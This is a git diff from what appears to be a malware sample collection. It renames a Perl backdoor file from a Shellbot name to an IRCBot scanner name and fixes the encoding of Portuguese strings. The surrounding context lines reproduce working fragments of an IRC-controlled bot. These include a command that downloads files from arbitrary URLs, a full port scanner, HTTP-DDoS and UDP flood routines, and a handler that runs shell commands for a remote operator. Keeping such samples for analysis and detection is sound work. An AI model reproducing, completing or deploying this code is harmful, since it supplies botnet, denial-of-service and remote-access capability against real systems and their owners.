diff --git a/Perl/Backdoor.Perl.Shellbot.aj b/Perl/Backdoor.Perl.IRCBot.Scanner.sk12
similarity index 95%
rename from Perl/Backdoor.Perl.Shellbot.aj
rename to Perl/Backdoor.Perl.IRCBot.Scanner.sk12
index afe3dd04..d6bfc4f6 100644
--- a/Perl/Backdoor.Perl.Shellbot.aj
+++ b/Perl/Backdoor.Perl.IRCBot.Scanner.sk12
@@ -325,7 +325,7 @@ sub bfunc {
            
            elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
             getstore("$1", "$2");
-            sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Concluído!") if ($estatisticas);
+            sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Concluído!") if ($estatisticas);
             }
              
            elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
@@ -365,7 +365,7 @@ sub bfunc {
 	     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP-DDOS]\002 Finished with attacking ".$1.".");
            }
 
-            # Duas Versões simplificada do meu Tr0x ;D
+            # Duas Versões simplificada do meu Tr0x ;D
             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
               return unless $pacotes;
               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
@@ -464,7 +464,7 @@ sub bfunc {
                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
-               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
+               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
              }
            }
            exit;
@@ -573,10 +573,10 @@ sub ircase {
    elsif ($case =~ /^estatisticas (.*)/) {
      if ($1 eq "on") {
       $estatisticas = 1;
-      msg("$printl", "Estatísticas ativadas!");
+      msg("$printl", "Estatísticas ativadas!");
      } elsif ($1 eq "off") {
       $estatisticas = 0;
-      msg("$printl", "Estatísticas desativadas!");
+      msg("$printl", "Estatísticas desativadas!");
      }
    }
    elsif ($case =~ /^pacotes (.*)/) {
@@ -609,7 +609,7 @@ sub shell {
   my $printl=$_[0];
   my $comando=$_[1];
   if ($comando =~ /cd (.*)/) {
-    chdir("$1") || msg("$printl", "Diretório inexistente!");
+    chdir("$1") || msg("$printl", "Diretório inexistente!");
     return;
   }
   elsif ($pid = fork) {